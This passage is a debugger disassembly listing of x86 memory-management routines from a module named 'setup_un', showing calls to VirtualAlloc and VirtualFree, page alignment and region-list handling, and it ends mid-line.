00401578 |. 53 |PUSH EBX ; |Address
00401579 |. E8 26FCFFFF |CALL <JMP.&kernel32.VirtualAlloc> ; \VirtualAlloc
0040157E |. 85C0 |TEST EAX,EAX
00401580 |. 75 0A |JNZ SHORT setup_un.0040158C
00401582 |. 8B4424 04 |MOV EAX,DWORD PTR SS:[ESP+4]
00401586 |. 33D2 |XOR EDX,EDX
00401588 |. 8910 |MOV DWORD PTR DS:[EAX],EDX
0040158A |. EB 0A |JMP SHORT setup_un.00401596
0040158C |> 8B36 |MOV ESI,DWORD PTR DS:[ESI]
0040158E |> 81FE D4F54000 CMP ESI,setup_un.0040F5D4
00401594 |.^ 75 BC \JNZ SHORT setup_un.00401552
00401596 |> 83C4 0C ADD ESP,0C
00401599 |. 5D POP EBP
0040159A |. 5F POP EDI
0040159B |. 5E POP ESI
0040159C |. 5B POP EBX
0040159D \. C3 RETN
0040159E 8BC0 MOV EAX,EAX
004015A0 /$ 53 PUSH EBX
004015A1 |. 56 PUSH ESI
004015A2 |. 57 PUSH EDI
004015A3 |. 55 PUSH EBP
004015A4 |. 51 PUSH ECX
004015A5 |. 8BD8 MOV EBX,EAX
004015A7 |. 8BF3 MOV ESI,EBX
004015A9 |. 81C6 FF0F0000 ADD ESI,0FFF
004015AF |. 81E6 00F0FFFF AND ESI,FFFFF000
004015B5 |. 893424 MOV DWORD PTR SS:[ESP],ESI
004015B8 |. 8BEB MOV EBP,EBX
004015BA |. 03EA ADD EBP,EDX
004015BC |. 81E5 00F0FFFF AND EBP,FFFFF000
004015C2 |. 8B0424 MOV EAX,DWORD PTR SS:[ESP]
004015C5 |. 8901 MOV DWORD PTR DS:[ECX],EAX
004015C7 |. 8BC5 MOV EAX,EBP
004015C9 |. 2B0424 SUB EAX,DWORD PTR SS:[ESP]
004015CC |. 8941 04 MOV DWORD PTR DS:[ECX+4],EAX
004015CF |. 8B35 D4F54000 MOV ESI,DWORD PTR DS:[40F5D4]
004015D5 |. EB 38 JMP SHORT setup_un.0040160F
004015D7 |> 8B5E 08 /MOV EBX,DWORD PTR DS:[ESI+8]
004015DA |. 8B7E 0C |MOV EDI,DWORD PTR DS:[ESI+C]
004015DD |. 03FB |ADD EDI,EBX
004015DF |. 3B1C24 |CMP EBX,DWORD PTR SS:[ESP]
004015E2 |. 73 03 |JNB SHORT setup_un.004015E7
004015E4 |. 8B1C24 |MOV EBX,DWORD PTR SS:[ESP]
004015E7 |> 3BEF |CMP EBP,EDI
004015E9 |. 73 02 |JNB SHORT setup_un.004015ED
004015EB |. 8BFD |MOV EDI,EBP
004015ED |> 3BFB |CMP EDI,EBX
004015EF |. 76 1C |JBE SHORT setup_un.0040160D
004015F1 |. 68 00400000 |PUSH 4000 ; /FreeType = MEM_DECOMMIT
004015F6 |. 2BFB |SUB EDI,EBX ; |
004015F8 |. 57 |PUSH EDI ; |Size
004015F9 |. 53 |PUSH EBX ; |Address
004015FA |. E8 ADFBFFFF |CALL <JMP.&kernel32.VirtualFree> ; \VirtualFree
004015FF |. 85C0 |TEST EAX,EAX
00401601 |. 75 0A |JNZ SHORT setup_un.0040160D
00401603 |. C705 B0F54000>|MOV DWORD PTR DS:[40F5B0],2
0040160D |> 8B36 |MOV ESI,DWORD PTR DS:[ESI]
0040160F |> 81FE D4F54000 CMP ESI,setup_un.0040F5D4
00401615 |.^ 75 C0 \JNZ SHORT setup_un.004015D7
00401617 |. 5A POP EDX
00401618 |. 5D POP EBP
00401619 |. 5F POP EDI
0040161A |. 5E POP ESI
0040161B |. 5B POP EBX
0040161C \. C3 RETN
0040161D 8D40 00 LEA EAX,DWORD PTR DS:[EAX]
00401620 /$ 53 PUSH EBX
00401621 |. 56 PUSH ESI
00401622 |. 57 PUSH EDI
00401623 |. 55 PUSH EBP
00401624 |. 83C4 F8 ADD ESP,-8
00401627 |. 8BF2 MOV ESI,EDX
00401629 |. 8BF8 MOV EDI,EAX
0040162B |. BD E4F54000 MOV EBP,setup_un.0040F5E4
00401630 |. 81C7 FF3F0000 ADD EDI,3FFF
00401636 |. 81E7 00C0FFFF AND EDI,FFFFC000
0040163C |> 8B5D 00 /MOV EBX,DWORD PTR SS:[EBP]
0040163F |. EB 33 |JMP SHORT setup_un.00401674
00401641 |> 3B7B 0C |/CMP EDI,DWORD PTR DS:[EBX+C]
00401644 |. 7F 2C ||JG SHORT setup_un.00401672
00401646 |. 8BCE ||MOV ECX,ESI
00401648 |. 8BD7 ||MOV EDX,EDI
0040164A |. 8B43 08 ||MOV EAX,DWORD PTR DS:[EBX+8]
0040164D |. E8 BAFEFFFF ||CALL setup_un.0040150C
00401652 |. 833E 00 ||CMP DWORD PTR DS:[ESI],0
00401655 |. 74 50 ||JE SHORT setup_un.004016A7
00401657 |. 8B46 04 ||MOV EAX,DWORD PTR DS:[ESI+4]
0040165A |. 0143 08 ||ADD DWORD PTR DS:[EBX+8],EAX
0040165D |. 8B46 04 ||MOV EAX,DWORD PTR DS:[ESI+4]
00401660 |. 2943 0C ||SUB DWORD PTR DS:[EBX+C],EAX
00401663 |. 837B 0C 00 ||CMP DWORD PTR DS:[EBX+C],0
00401667 |. 75 3E ||JNZ SHORT setup_un.004016A7
00401669 |. 8BC3 ||MOV EAX,EBX
0040166B |. E8 ECFBFFFF ||CALL setup_un.0040125C
00401670 |. EB 35 ||JMP SHORT setup_un.004016A7
00401672 |> 8B1B ||MOV EBX,DWORD PTR DS:[EBX]
00401674 |> 3BDD | CMP EBX,EBP
00401676 |.^ 75 C9 |\JNZ SHORT setup_un.00401641
00401678 |. 8BD6 |MOV EDX,ESI
0040167A |. 8BC7 |MOV EAX,EDI
0040167C |. E8 F7FCFFFF |CALL setup_un.00401378
00401681 |. 833E 00 |CMP DWORD PTR DS:[ESI],0
00401684 |. 74 21 |JE SHORT setup_un.004016A7
00401686 |. 8BCC |MOV ECX,ESP
00401688 |. 8BD6 |MOV EDX,ESI
0040168A |. 8BC5 |MOV EAX,EBP
0040168C |. E8 E3FBFFFF |CALL setup_un.00401274
00401691 |. 833C24 00 |CMP DWORD PTR SS:[ESP],0
00401695 |.^ 75 A5 \JNZ SHORT setup_un.0040163C
00401697 |. 8BCC MOV ECX,ESP
00401699 |. 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4]
0040169C |. 8B06 MOV EAX,DWORD PTR DS:[ESI]
0040169E |. E8 B1FDFFFF CALL setup_un.00401454
004016A3 |. 33C0 XOR EAX,EAX
004016A5 |. 8906 MOV DWORD PTR DS:[ESI],EAX
004016A7 |> 59 POP ECX
004016A8 |. 5A POP EDX
004016A9 |. 5D POP EBP
004016AA |. 5F POP EDI
004016AB |. 5E POP ESI
004016AC |. 5B POP EBX
004016AD \. C3 RETN
004016AE 8BC0 MOV EAX,EAX
004016B0 /$ 53 PUSH EBX
004016B1 |. 56 PUSH ESI
004016B2 |. 57 PUSH EDI
004016B3 |. 55 PUSH EBP
004016B4 |. 83C4 EC ADD ESP,-14
004016B7 |. 890C24 MOV DWORD PTR SS:[ESP],ECX
004016BA |. 8BFA MOV EDI,EDX
004016BC |. 8BF0 MOV ESI,EAX
004016BE |. BD E4F54000 MOV EBP,setup_un.0040F5E4
004016C3 |. 81C7 FF3F0000 ADD EDI,3FFF
004016C9 |. 81E7 00C0FFFF AND EDI,FFFFC000
004016CF |> 8B5D 00 /MOV EBX,DWORD PTR SS:[EBP]
004016D2 |. EB 02 |JMP SHORT setup_un.004016D6
004016D4 |> 8B1B |/MOV EBX,DWORD PTR DS:[EBX]
004016D6 |> 3BDD | CMP EBX,EBP
004016D8 |. 74 05 ||JE SHORT setup_un.004016DF
004016DA |. 3B73 08 ||CMP ESI,DWORD PTR DS:[EBX+8]
004016DD |.^ 75 F5 |\JNZ SHORT setup_un.004016D4
004016DF |> 3B73 08 |CMP ESI,DWORD PTR DS:[EBX+8]
004016E2 |. 75 57 |JNZ SHORT setup_un.0040173B
004016E4 |. 3B7B 0C |CMP EDI,DWORD PTR DS:[EBX+C]
004016E7 |. 0F8E 96000000 |JLE setup_un.00401783
004016ED |. 8D4C24 04 |LEA ECX,DWORD PTR SS:[ESP+4]
004016F1 |. 8BD7 |MOV EDX,EDI
004016F3 |. 2B53 0C |SUB EDX,DWORD PTR DS:[EBX+C]
004016F6 |. 8B43 08 |MOV EAX,DWORD PTR DS:[EBX+8]
004016F9 |. 0343 0C |ADD EAX,DWORD PTR DS:[EBX+C]
004016FC |. E8 DBFCFFFF |CALL setup_un.004013DC
00401701 |. 837C24 04 00 |CMP DWORD PTR SS:[ESP+4],0
00401706 |. 74 33 |JE SHORT setup_un.0040173B
00401708 |. 8D4C24 0C |LEA ECX,DWORD PTR SS:[ESP+C]
0040170C |. 8D5424 04 |LEA EDX,DWORD PTR SS:[ESP+4]
00401710 |. 8BC5 |MOV EAX,EBP
00401712 |. E8 5DFBFFFF |CALL setup_un.00401274
00401717 |. 837C24 0C 00 |CMP DWORD PTR SS:[ESP+C],0
0040171C |.^ 75 B1 |JNZ SHORT setup_un.004016CF
0040171E |. 8D4C24 0C |LEA ECX,DWORD PTR SS:[ESP+C]
00401722 |. 8B5424 08 |MOV EDX,DWORD PTR SS:[ESP+8]
00401726 |. 8B4424 04 |MOV EAX,DWORD PTR SS:[ESP+4]
0040172A |. E8 25FDFFFF |CALL setup_un.00401454
0040172F |. 8B0424 |MOV EAX,DWORD PTR SS:[ESP]
00401732 |. 33D2 |XOR EDX,EDX
00401734 |. 8910 |MOV DWORD PTR DS:[EAX],EDX
00401736 |. E9 90000000 |JMP setup_un.004017CB
0040173B |> 8D4C24 04 |LEA ECX,DWORD PTR SS:[ESP+4]
0040173F |. 8BD7 |MOV EDX,EDI
00401741 |. 8BC6 |MOV EAX,ESI
00401743 |. E8 94FCFFFF |CALL setup_un.004013DC
00401748 |. 837C24 04 00 |CMP DWORD PTR SS:[ESP+4],0
0040174D |. 74 34 |JE SHORT setup_un.00401783
0040174F |. 8D4C24 0C |LEA ECX,DWORD PTR SS:[ESP+C]
00401753 |. 8D5424 04 |LEA EDX,DWORD PTR SS:[ESP+4]
00401757 |. 8BC5 |MOV EAX,EBP
00401759 |. E8 16FBFFFF |CALL setup_un.00401274
0040175E |. 837C24 0C 00 |CMP DWORD PTR SS:[ESP+C],0
00401763 |.^ 0F85 66FFFFFF \JNZ setup_un.004016CF
00401769 |. 8D4C24 0C LEA ECX,DWORD PTR SS:[ESP+C]
0040176D |. 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8]
00401771 |. 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
00401775 |. E8 DAFCFFFF CALL setup_un.00401454
0040177A |. 8B0424 MOV EAX,DWORD PTR SS:[ESP]
0040177D |. 33D2 XOR EDX,EDX
0040177F |. 8910 MOV DWORD PTR DS:[EAX],EDX
00401781 |. EB 48 JMP SHORT setup_un.004017CB
00401783 |> 8B6B 08 MOV EBP,DWORD PTR DS:[EBX+8]
00401786 |. 3BF5 CMP ESI,EBP
00401788 |. 75 3A JNZ SHORT setup_un.004017C4
0040178A |. 3B7B 0C CMP EDI,DWORD PTR DS:[EBX+C]
0040178D |. 7F 35 JG SHORT setup_un.004017C4
0040178F |. 8B0C24 MOV ECX,DWORD PTR SS:[ESP]
00401792 |. 8BD7 MOV EDX,EDI
00401794 |. 8BC5 MOV EAX,EBP
00401796 |. E8 71FDFFFF CALL setup_un.0040150C
0040179B |. 8B0424 MOV EAX,DWORD PTR SS:[ESP]
0040179E |. 8338 00 CMP DWORD PTR DS:[EAX],0
004017A1 |. 74 28 JE SHORT setup_un.004017CB
004017A3 |. 8B0424 MOV EAX,DWORD PTR SS:[ESP]
004017A6 |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]
004017A9 |. 0143 08 ADD DWORD PTR DS:[EBX+8],EAX
004017AC |. 8B0424 MOV EAX,DWORD PTR SS:[ESP]
004017AF |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]
004017B2 |. 2943 0C SUB DWORD PTR DS:[EBX+C],EAX
004017B5 |. 837B 0C 00 CMP DWORD PTR DS:[EBX+C],0
004017B9 |. 75 10 JNZ SHORT setup_un.004017CB
004017BB |. 8BC3 MOV EAX,EBX
004017BD |. E8 9AFAFFFF CALL setup_un.0040125C
004017C2 |. EB 07 JMP SHORT setup_un.004017CB
004017C4&